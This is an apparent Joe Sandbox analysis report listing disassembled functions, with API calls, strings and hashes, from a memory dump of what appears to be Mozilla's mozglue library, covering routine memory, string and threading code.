Opcode ID: 8368748d99384a845afceb37d564027aba46599d0ed97651e8d853560fdce907
Instruction ID: bf6ebbe1513e061c6255c47d299b9f301742b0045b441f1f7d2121f3a66d39eb
Opcode Fuzzy Hash: 8368748d99384a845afceb37d564027aba46599d0ed97651e8d853560fdce907
Instruction Fuzzy Hash: 2101ADB06013149FDF08DF9AEC84C2977B8FB8A314706816AE909CB742DB70AC00CBA0

Function 6C5875B0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C58748B,?), ref: 6C5875B8
GetProcAddress.KERNEL32(00000000,RtlNtStatusToDosError), ref: 6C5875D7
FreeLibrary.KERNEL32(?,6C58748B,?), ref: 6C5875EC

Strings

ntdll.dll, xrefs: 6C5875B3
RtlNtStatusToDosError, xrefs: 6C5875D1

Memory Dump Source

Source File: 00000000.00000002.2527083895.000000006C521000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2527064759.000000006C520000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527141531.000000006C59D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527166861.000000006C5AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527186524.000000006C5B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_ZXVcgrmGRM.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: RtlNtStatusToDosError$ntdll.dll
API String ID: 145871493-3641475894
Opcode ID: 9657c268e5e32a6b02bc0aeec6bd8e5077d8517c6e360018d0b64ec5a904be6c
Instruction ID: 9eec7986ddfc19333448af3aee3424bce4f0a03b72e7f75995a5e5bc915305df
Opcode Fuzzy Hash: 9657c268e5e32a6b02bc0aeec6bd8e5077d8517c6e360018d0b64ec5a904be6c
Instruction Fuzzy Hash: 47E0B675701305ABEF006FE3EC5870D7AF8EB46258F125325E905D1641EBB08042DF58

Function 6C587600 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C587592), ref: 6C587608
GetProcAddress.KERNEL32(00000000,NtUnmapViewOfSection), ref: 6C587627
FreeLibrary.KERNEL32(?,6C587592), ref: 6C58763C

Strings

ntdll.dll, xrefs: 6C587603
NtUnmapViewOfSection, xrefs: 6C587621

Memory Dump Source

Source File: 00000000.00000002.2527083895.000000006C521000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2527064759.000000006C520000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527141531.000000006C59D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527166861.000000006C5AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527186524.000000006C5B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_ZXVcgrmGRM.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtUnmapViewOfSection$ntdll.dll
API String ID: 145871493-1050664331
Opcode ID: 675c9c3fec4ed5a357d86d1f0ee5797dcdf78b7af3352045e859858da293a3aa
Instruction ID: e508116c088c53a2f4e0e1d95cff4d1656818c3e6c0726a266c5ff96d32beb51
Opcode Fuzzy Hash: 675c9c3fec4ed5a357d86d1f0ee5797dcdf78b7af3352045e859858da293a3aa
Instruction Fuzzy Hash: 0DE0B6B0701305ABDF006FE7EC0871D7AB8E71A399F028316E906D1700EBB080058F5C

Function 6C58BE50 Relevance: 7.7, APIs: 5, Instructions: 163memoryCOMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,?,?,6C58BE49), ref: 6C58BEC4
RtlCaptureStackBackTrace.NTDLL ref: 6C58BEDE
memset.VCRUNTIME140(00000000,00000000,-00000008,?,6C58BE49), ref: 6C58BF38
RtlReAllocateHeap.NTDLL ref: 6C58BF83
RtlFreeHeap.NTDLL(6C58BE49,00000000), ref: 6C58BFA6

Memory Dump Source

Source File: 00000000.00000002.2527083895.000000006C521000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2527064759.000000006C520000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527141531.000000006C59D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527166861.000000006C5AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527186524.000000006C5B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_ZXVcgrmGRM.jbxd

Similarity

API ID: Heapmemset$AllocateBackCaptureFreeStackTrace
String ID:
API String ID: 2764315370-0
Opcode ID: 77103150ea6bda3c34e5fd619891cb41ab7336de846b9af7c236ac390e0af79c
Instruction ID: e1d7fcdf802c9c2656befbd0d9ddbee7ebf46468fd9ac83717a4950a0196d0ac
Opcode Fuzzy Hash: 77103150ea6bda3c34e5fd619891cb41ab7336de846b9af7c236ac390e0af79c
Instruction Fuzzy Hash: BF51AF71A012158FE710DF68CD80BAAB3B6FFC8314F294639D555A7B95D730F9068B80

Function 6C578E00 Relevance: 7.6, APIs: 6, Instructions: 147COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,?,6C56B58D,?,?,?,?,?,?,?,6C59D734,?,?,?,6C59D734), ref: 6C578E6E
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6C56B58D,?,?,?,?,?,?,?,6C59D734,?,?,?,6C59D734), ref: 6C578EBF
free.MOZGLUE(?,?,?,?,6C56B58D,?,?,?,?,?,?,?,6C59D734,?,?,?), ref: 6C578F24
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6C56B58D,?,?,?,?,?,?,?,6C59D734,?,?,?,6C59D734), ref: 6C578F46
free.MOZGLUE(?,?,?,?,6C56B58D,?,?,?,?,?,?,?,6C59D734,?,?,?), ref: 6C578F7A
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6C56B58D,?,?,?,?,?,?,?,6C59D734,?,?,?), ref: 6C578F8F

Memory Dump Source

Source File: 00000000.00000002.2527083895.000000006C521000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2527064759.000000006C520000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527141531.000000006C59D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527166861.000000006C5AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527186524.000000006C5B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_ZXVcgrmGRM.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: df4e7beb67d6f29ee8682712a9d4ebb0473cd61b8b9744229f88cc3b17768c42
Instruction ID: 58f8d113bf5d3b58a941dae730c70a09bc4429b168645201de6afb82ca79e8df
Opcode Fuzzy Hash: df4e7beb67d6f29ee8682712a9d4ebb0473cd61b8b9744229f88cc3b17768c42
Instruction Fuzzy Hash: 81516FB1A012168FEB24CF64DC8076E77B2BF45318F25056AD916BB740E731F985CBA2

Function 6C5727E0 Relevance: 7.6, APIs: 6, Instructions: 136COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,6C572620,?,?,?,6C5660AA,6C565FCB,6C5679A3), ref: 6C57284D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C572620,?,?,?,6C5660AA,6C565FCB,6C5679A3), ref: 6C57289A
free.MOZGLUE(?,?,?,6C572620,?,?,?,6C5660AA,6C565FCB,6C5679A3), ref: 6C5728F1
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C572620,?,?,?,6C5660AA,6C565FCB,6C5679A3), ref: 6C572910
free.MOZGLUE(00000001,?,?,6C572620,?,?,?,6C5660AA,6C565FCB,6C5679A3), ref: 6C57293C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00200000,?,?,6C572620,?,?,?,6C5660AA,6C565FCB,6C5679A3), ref: 6C57294E

Memory Dump Source

Source File: 00000000.00000002.2527083895.000000006C521000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2527064759.000000006C520000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527141531.000000006C59D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527166861.000000006C5AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527186524.000000006C5B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_ZXVcgrmGRM.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 2ac9d74aadbc6be756a9ed4b956d8f7fd9baad432797296929583b3d0609a652
Instruction ID: d387e755a5f496ca49cfe1a07acc9318a3bf483635eb988bcc6d68451a3942f6
Opcode Fuzzy Hash: 2ac9d74aadbc6be756a9ed4b956d8f7fd9baad432797296929583b3d0609a652
Instruction Fuzzy Hash: 7C415FB1A04206CBEB24CF68DC8476A77F6AB45308F194929D556EB740E732E984CB61

Function 6C52CFE0 Relevance: 7.6, APIs: 4, Strings: 1, Instructions: 134memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C5AE784), ref: 6C52CFF6
LeaveCriticalSection.KERNEL32(6C5AE784), ref: 6C52D026
VirtualAlloc.KERNEL32(00000000,00100000,00001000,00000004), ref: 6C52D06C
VirtualFree.KERNEL32(00000000,00100000,00004000), ref: 6C52D139

Strings

MOZ_CRASH(), xrefs: 6C52D187

Memory Dump Source

Source File: 00000000.00000002.2527083895.000000006C521000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2527064759.000000006C520000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527141531.000000006C59D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527166861.000000006C5AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527186524.000000006C5B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_ZXVcgrmGRM.jbxd

Similarity

API ID: CriticalSectionVirtual$AllocEnterFreeLeave
String ID: MOZ_CRASH()
API String ID: 1090480015-2608361144
Opcode ID: c7a9ae434aa3b03a78aeedd2b084f134bc35d6991cde4cfaea22883034257a18
Instruction ID: 6640504b9f6e253126be5118b0a5eedd11332410727353fe475a06e2212a1e11
Opcode Fuzzy Hash: c7a9ae434aa3b03a78aeedd2b084f134bc35d6991cde4cfaea22883034257a18
Instruction Fuzzy Hash: 7841AF71B012164FDB04CEAEAC9576E76F0EF49714F160239E918E77C4E7A59C118BC8

Function 6C524DE0 Relevance: 7.6, APIs: 5, Instructions: 133stringCOMMON

Download Yara Rule

APIs

?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C524E5A
?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C524E97
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C524EE9
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C524F02
?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?), ref: 6C524F1E

Memory Dump Source

Source File: 00000000.00000002.2527083895.000000006C521000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2527064759.000000006C520000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527141531.000000006C59D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527166861.000000006C5AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527186524.000000006C5B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_ZXVcgrmGRM.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@CreateRepresentation@$Ascii@DecimalDtoaExponentialMode@12@memcpystrlen
String ID:
API String ID: 713647276-0
Opcode ID: d02db18e290c17e544411ed5b3aba129f5c495a9b7cd5fee183648fd5b5e4b32
Instruction ID: c9d70652f2c58bb90d88015e85ee3ffb33fd0138ea18e8eab22432823680b50f
Opcode Fuzzy Hash: d02db18e290c17e544411ed5b3aba129f5c495a9b7cd5fee183648fd5b5e4b32
Instruction Fuzzy Hash: 7E41AA716087019FC711CF29C88095BB7E4BFC9354F108A2DF86A87B81DB34E958CB92

Function 6C531530 Relevance: 7.6, APIs: 5, Instructions: 98COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(-00000002,?,6C53152B,?,?,?,?,6C531248,?), ref: 6C53159C
memcpy.VCRUNTIME140(00000023,?,?,?,?,6C53152B,?,?,?,?,6C531248,?), ref: 6C5315BC
moz_xmalloc.MOZGLUE(-00000001,?,6C53152B,?,?,?,?,6C531248,?), ref: 6C5315E7
free.MOZGLUE(?,?,?,?,?,?,6C53152B,?,?,?,?,6C531248,?), ref: 6C531606
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,6C53152B,?,?,?,?,6C531248,?), ref: 6C531637

Memory Dump Source

Source File: 00000000.00000002.2527083895.000000006C521000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2527064759.000000006C520000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527141531.000000006C59D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527166861.000000006C5AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527186524.000000006C5B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_ZXVcgrmGRM.jbxd

Similarity

API ID: moz_xmalloc$_invalid_parameter_noinfo_noreturnfreememcpy
String ID:
API String ID: 733145618-0
Opcode ID: 120d66956489c248992bb87690aa3dbd8d193ba1f3915df0a810b020ad87ca53
Instruction ID: 8339a8383c38961beeae5a3a5f1b9e508ceed42a3761ec5086c20f22e5b5c3b5
Opcode Fuzzy Hash: 120d66956489c248992bb87690aa3dbd8d193ba1f3915df0a810b020ad87ca53
Instruction Fuzzy Hash: 6431D872A001248BCB14CF78DC5046F77A9EB853647251B6DE42BDBBD5FB30D90587A1

Function 6C58AD70 Relevance: 7.6, APIs: 5, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000000,?,00000000,?,?,6C59E330,?,6C54C059), ref: 6C58AD9D

Part of subcall function 6C53CA10: malloc.MOZGLUE(?), ref: 6C53CA26

memset.VCRUNTIME140(00000000,00000000,00000000,00000000,?,?,6C59E330,?,6C54C059), ref: 6C58ADAC
free.MOZGLUE(?,?,?,?,00000000,?,?,6C59E330,?,6C54C059), ref: 6C58AE01
GetLastError.KERNEL32(?,00000000,?,?,6C59E330,?,6C54C059), ref: 6C58AE1D
GetLastError.KERNEL32(?,00000000,00000000,00000000,?,?,?,00000000,?,?,6C59E330,?,6C54C059), ref: 6C58AE3D

Memory Dump Source

Source File: 00000000.00000002.2527083895.000000006C521000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2527064759.000000006C520000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527141531.000000006C59D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527166861.000000006C5AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527186524.000000006C5B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_ZXVcgrmGRM.jbxd

Similarity

API ID: ErrorLast$freemallocmemsetmoz_xmalloc
String ID:
API String ID: 3161513745-0
Opcode ID: f5222e2666f2cc1e2cbc7810933e6309858975ff36e08a9534fd3d30337f0160
Instruction ID: 8c00a262471bde966a8668062d1091deddd73e1d780f84eed7bd4cde0feec325
Opcode Fuzzy Hash: f5222e2666f2cc1e2cbc7810933e6309858975ff36e08a9534fd3d30337f0160
Instruction Fuzzy Hash: 8A3164B1A012559FDB10DF768C44AABBBF8EF88614F55886DE84AD7740E734EC04CBA4

Function 6C585EF0 Relevance: 7.6, APIs: 5, Instructions: 89COMMON

Download Yara Rule

APIs

?_Ipfx@?$basic_istream@DU?$char_traits@D@std@@@std@@QAE_N_N@Z.MSVCP140(00000001,00000000,6C59DCA0,?,?,?,6C55E8B5,00000000), ref: 6C585F1F
?sgetc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6C55E8B5,00000000), ref: 6C585F4B
?snextc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(00000000,?,6C55E8B5,00000000), ref: 6C585F7B
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(6E65475B,00000000,?,6C55E8B5,00000000), ref: 6C585F9F
?sbumpc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6C55E8B5,00000000), ref: 6C585FD6

Memory Dump Source

Source File: 00000000.00000002.2527083895.000000006C521000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2527064759.000000006C520000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527141531.000000006C59D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527166861.000000006C5AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527186524.000000006C5B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_ZXVcgrmGRM.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@?sbumpc@?$basic_streambuf@?sgetc@?$basic_streambuf@?snextc@?$basic_streambuf@Ipfx@?$basic_istream@
String ID:
API String ID: 1389714915-0
Opcode ID: 4eb8c4329f48a5af8fae66375649cc38596364f3db96b92c8ea0425e83f4381b
Instruction ID: 4bd31f19058f75eaa088ccc6802c899de460b4c15deebb8e3b4676a26e1c0e96
Opcode Fuzzy Hash: 4eb8c4329f48a5af8fae66375649cc38596364f3db96b92c8ea0425e83f4381b
Instruction Fuzzy Hash: A9313A743016148FE710DF29C898E2ABBF9FF89318BA54558E5568B795D731EC41CB80

Function 6C52B4C0 Relevance: 7.6, APIs: 5, Instructions: 84COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 6C52B532
moz_xmalloc.MOZGLUE(?), ref: 6C52B55B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C52B56B
wcsncpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?), ref: 6C52B57E
free.MOZGLUE(00000000), ref: 6C52B58F

Memory Dump Source

Source File: 00000000.00000002.2527083895.000000006C521000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2527064759.000000006C520000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527141531.000000006C59D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527166861.000000006C5AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527186524.000000006C5B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_ZXVcgrmGRM.jbxd

Similarity

API ID: HandleModulefreememsetmoz_xmallocwcsncpy_s
String ID:
API String ID: 4244350000-0
Opcode ID: 3c63957a4b2fe02c354c08fd30e66eb10ac6618565b4d018609bb3b9ca5804b1
Instruction ID: 25a3042dfeba6144e98300e080f118e6a39a6fdcb817a81b5b530186d6f14adb
Opcode Fuzzy Hash: 3c63957a4b2fe02c354c08fd30e66eb10ac6618565b4d018609bb3b9ca5804b1
Instruction Fuzzy Hash: 0921B471A002059BDB009FA9DC40BAEBBF9FF85314F284129E919DB382F776D951C7A1

Function 6C52B7A0 Relevance: 7.6, APIs: 5, Instructions: 77COMMON

Download Yara Rule

APIs

?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(?,?), ref: 6C52B7CF
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?), ref: 6C52B808
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?), ref: 6C52B82C
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C52B840
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C52B849

Memory Dump Source

Source File: 00000000.00000002.2527083895.000000006C521000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2527064759.000000006C520000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527141531.000000006C59D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527166861.000000006C5AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527186524.000000006C5B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_ZXVcgrmGRM.jbxd

Similarity

API ID: free$?vprint@PrintfTarget@mozilla@@mallocmemcpy
String ID:
API String ID: 1977084945-0
Opcode ID: 0386cb9ea095f29c64eea6c614b9f22360301e6f5ef968cff8735f0ce99ee71d
Instruction ID: 79583ea5582b4295821c42a759be70eccb13cb2ef06381543c53a80aa0ed589f
Opcode Fuzzy Hash: 0386cb9ea095f29c64eea6c614b9f22360301e6f5ef968cff8735f0ce99ee71d
Instruction Fuzzy Hash: 912148B0E002099FDF04DFA9D8855BEBBF4EF49314F158169E80AA7341E735A944CBA0

Function 6C586E50 Relevance: 7.6, APIs: 5, Instructions: 72COMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6C586E78

Part of subcall function 6C586A10: InitializeCriticalSection.KERNEL32(6C5AF618), ref: 6C586A68
Part of subcall function 6C586A10: GetCurrentProcess.KERNEL32 ref: 6C586A7D
Part of subcall function 6C586A10: GetCurrentProcess.KERNEL32 ref: 6C586AA1
Part of subcall function 6C586A10: EnterCriticalSection.KERNEL32(6C5AF618), ref: 6C586AAE
Part of subcall function 6C586A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6C586AE1
Part of subcall function 6C586A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6C586B15
Part of subcall function 6C586A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100,?,?), ref: 6C586B65
Part of subcall function 6C586A10: LeaveCriticalSection.KERNEL32(6C5AF618,?,?), ref: 6C586B83

MozFormatCodeAddress.MOZGLUE ref: 6C586EC1
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6C586EE1
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6C586EED
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000400), ref: 6C586EFF

Memory Dump Source

Source File: 00000000.00000002.2527083895.000000006C521000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2527064759.000000006C520000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527141531.000000006C59D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527166861.000000006C5AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527186524.000000006C5B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_ZXVcgrmGRM.jbxd

Similarity

API ID: CriticalSectionstrncpy$AddressCodeCurrentProcess$DescribeEnterFormatInitializeLeave_fileno_writefflush
String ID:
API String ID: 4058739482-0
Opcode ID: 593fceaff7e49a0e161b55609e785c9088811781caa1cb025f8b32ec6b0e0ac8
Instruction ID: 83b0b649bece76a30febf655fb96827d3fea9f669c4f14df785609da46eaa96a
Opcode Fuzzy Hash: 593fceaff7e49a0e161b55609e785c9088811781caa1cb025f8b32ec6b0e0ac8
Instruction Fuzzy Hash: 44219071A0431A9FDB00DF69EC85A9E77F5FF88308F044039E80997241EB749A588F92

Function 6C560D60 Relevance: 7.5, APIs: 3, Strings: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(?,00000000,00008000,00003000,00003000,?,6C523DEF), ref: 6C560D71
VirtualAlloc.KERNEL32(?,08000000,00003000,00000004,?,6C523DEF), ref: 6C560D84
VirtualFree.KERNEL32(00000000,00000000,00008000,?,6C523DEF), ref: 6C560DAF

Strings

: (malloc) Error in VirtualFree(), xrefs: 6C560D97, 6C560DBE
<jemalloc>, xrefs: 6C560D92, 6C560DB9

Memory Dump Source

Source File: 00000000.00000002.2527083895.000000006C521000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2527064759.000000006C520000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527141531.000000006C59D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527166861.000000006C5AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527186524.000000006C5B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_ZXVcgrmGRM.jbxd

Similarity

API ID: Virtual$Free$Alloc
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 1852963964-2186867486
Opcode ID: 664411686346876fbae7388cbd6808f2557eaae9f144baf8832625918fea42d0
Instruction ID: 001047c27447196f43105d73b7589bb49d807211b4d20d13966e8731f4ed7169
Opcode Fuzzy Hash: 664411686346876fbae7388cbd6808f2557eaae9f144baf8832625918fea42d0
Instruction Fuzzy Hash: 13F0893138029963E62422E79C0AB5F36BD67C2B65F354237F214DADD0DF60E8058AED

Function 6C585850 Relevance: 7.5, APIs: 5, Instructions: 41synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(000000FF), ref: 6C58586C
CloseHandle.KERNEL32 ref: 6C585878
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C585898
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6C5858C9
free.MOZGLUE(00000000), ref: 6C5858D3

Memory Dump Source

Source File: 00000000.00000002.2527083895.000000006C521000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2527064759.000000006C520000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527141531.000000006C59D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527166861.000000006C5AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527186524.000000006C5B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_ZXVcgrmGRM.jbxd

Similarity

API ID: free$CloseHandleObjectSingleWait
String ID:
API String ID: 1910681409-0
Opcode ID: 8095d03e7ef54d5c0dcdf8be24a721da53a532baeb0eaca684871ecb06b18f8c
Instruction ID: 1fc7a41301b8b1bdd5fe839920e727f4cc4aad9ce0561d1d7f75f852fd01f357
Opcode Fuzzy Hash: 8095d03e7ef54d5c0dcdf8be24a721da53a532baeb0eaca684871ecb06b18f8c
Instruction Fuzzy Hash: 2F016271705111ABDF00DF97FC08A0E7BF8FB8B3297A64276E41AD2211E73198148F89

Function 6C577620 Relevance: 7.5, APIs: 5, Instructions: 35threadCOMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(0000002C,?,?,?,?,6C5775C4,?), ref: 6C57762B

Part of subcall function 6C53CA10: malloc.MOZGLUE(?), ref: 6C53CA26

InitializeConditionVariable.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,6C5774D7,6C5815FC,?,?,?), ref: 6C577644
GetCurrentThreadId.KERNEL32 ref: 6C57765A
AcquireSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6C5774D7,6C5815FC,?,?,?), ref: 6C577663
